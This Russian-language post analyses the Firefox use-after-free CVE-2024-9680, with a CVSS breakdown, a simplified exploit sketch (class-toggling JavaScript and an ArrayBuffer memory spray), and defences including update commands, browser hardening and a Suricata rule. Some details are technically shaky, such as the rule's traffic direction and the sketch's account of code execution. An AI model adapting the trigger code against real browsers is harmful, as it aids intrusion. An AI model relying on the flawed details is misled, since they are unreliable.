Уязвимость обработчика управления и синхронизации анимации на веб-страницах браузеров Mozilla Firefox и Firefox ESR
Уязвимость обработчика управления и синхронизации анимации на веб-страницах браузеров Mozilla Firefox и Firefox ESR
Категория: Программы Теги: Уязвимости Опубликовано: 2 июня 2025

Уязвимость BDU:2024-07929 (CVE-2024-9680) Mozilla Firefox

Уязвимость BDU:2024-07929 (CVE-2024-9680) связана с use-after-free (UaF) в обработчике временных шкал анимации CSS в движке Gecko (Firefox, Thunderbird). При определённых манипуляциях с анимацией объект таймлайна освобождается из памяти, но продолжает использоваться браузером. Злоумышленник может перезаписать освобождённую область памяти контролируемыми данными, что приводит к выполнению произвольного кода в контексте процесса содержимого.

Анализ уязвимости

Уровень опасности: 9.8 CRITICAL (CVSS v3.1)
Вектор атаки: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Уязвимость доступна через сеть (Network)

  • Низкая сложность эксплуатации (Low Complexity)

  • Не требует привилегий (None)

  • Не требует взаимодействие с пользователем (None)

  • Не оказывает влияния на другие системы (Unchanged)

  • Полное нарушение конфиденциальности (High)

  • Полное нарушение целостности (High)

  • Полное нарушение доступности (High)

Условия эксплуатации

  1. Целевые приложения:

    • Firefox < 131.0.2

    • Firefox ESR < 128.3.1 и < 115.16.1

    • Thunderbird < 131.0.1, < 128.3.1, < 115.16.0

  2. Вектор: Удалённая атака через посещение вредоносной веб-страницы.

  3. Требования: Отключенные механизмы изоляции процессов (Sandbox) или наличие дополнительных уязвимостей для эскалации привилегий.


Технический механизм UaF

Use-After-Free возникает, когда указатель сохраняется после освобождения памяти. Последующее использование такого указателя ведёт к неопределённому поведению.

Пример на C:

#include <stdlib.h>
int main() {
    int *ptr = (int*)malloc(sizeof(int));
    *ptr = 42;  // Корректное использование
    free(ptr);  // Память освобождена
    printf("%d\n", *ptr);  // UaF: доступ к freed memory!
    return 0;
}

Анализ эксплойта

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2024-9680.

  1. Инициализация уязвимости:
    Создаётся элемент с CSS-анимацией, привязанной к временной шкале.

    <div id="target" class="exploit-animation"></div>
    <style>
      @keyframes malicious { ... }
      .exploit-animation { animation: malicious 2s infinite; }
    </style>
  2. Триггер UaF:
    Быстрое добавление/удаление анимации через JavaScript вызывает ошибку в управлении жизненным циклом объекта AnimationTimeline.

    function trigger() {
      const target = document.getElementById("target");
      setInterval(() => {
        target.classList.toggle("exploit-animation");  // Rapid toggling
      }, 1);  // Минимальная задержка
    }
    trigger();
  3. Перезапись памяти:
    После освобождения памяти под AnimationTimeline, атакующий заполняет её контролируемыми данными через ArrayBuffer:

    const spray = new ArrayBuffer(0x100);
    const view = new Uint32Array(spray);
    for (let i = 0; i < view.length; i++) view[i] = 0x41414141;  // "AAAA"
  4. Выполнение кода:
    Когда браузер обращается к освобождённому объекту, он исполняет перезаписанные данные как код (ROP-цепочка или shellcode).


Защитные меры

  1. Обновление ПО:

    # Для Linux (Debian/Ubuntu)
    sudo apt update && sudo apt upgrade firefox firefox-esr
  2. Hardening браузера:

    • Активировать security.sandbox.content.level в about:config (значение 4+).

    • Включить изоляцию сайтов (fission.autostart = true).

  3. Правила для Suricata/IDS:
    Блокировать страницы с частым переключением классов анимации:

    alert http any any -> any any ( \
      msg:"CVE-2024-9680 Exploit Attempt"; \
      flow:established,to_server; \
      content:"classList.toggle"; nocase; \
      content:"exploit-animation"; nocase; \
      distance:0; \
      pcre:"/setInterval\([^,]*,\s*[01]\)/i"; \
      sid:20249680; rev:1; \
    )

    Ограничение: Правило эффективно только против примитивных эксплойтов.

  4. Аддон NoScript: Блокировка недоверенных скриптов.

Алексей Черемных Алексей Черемных
45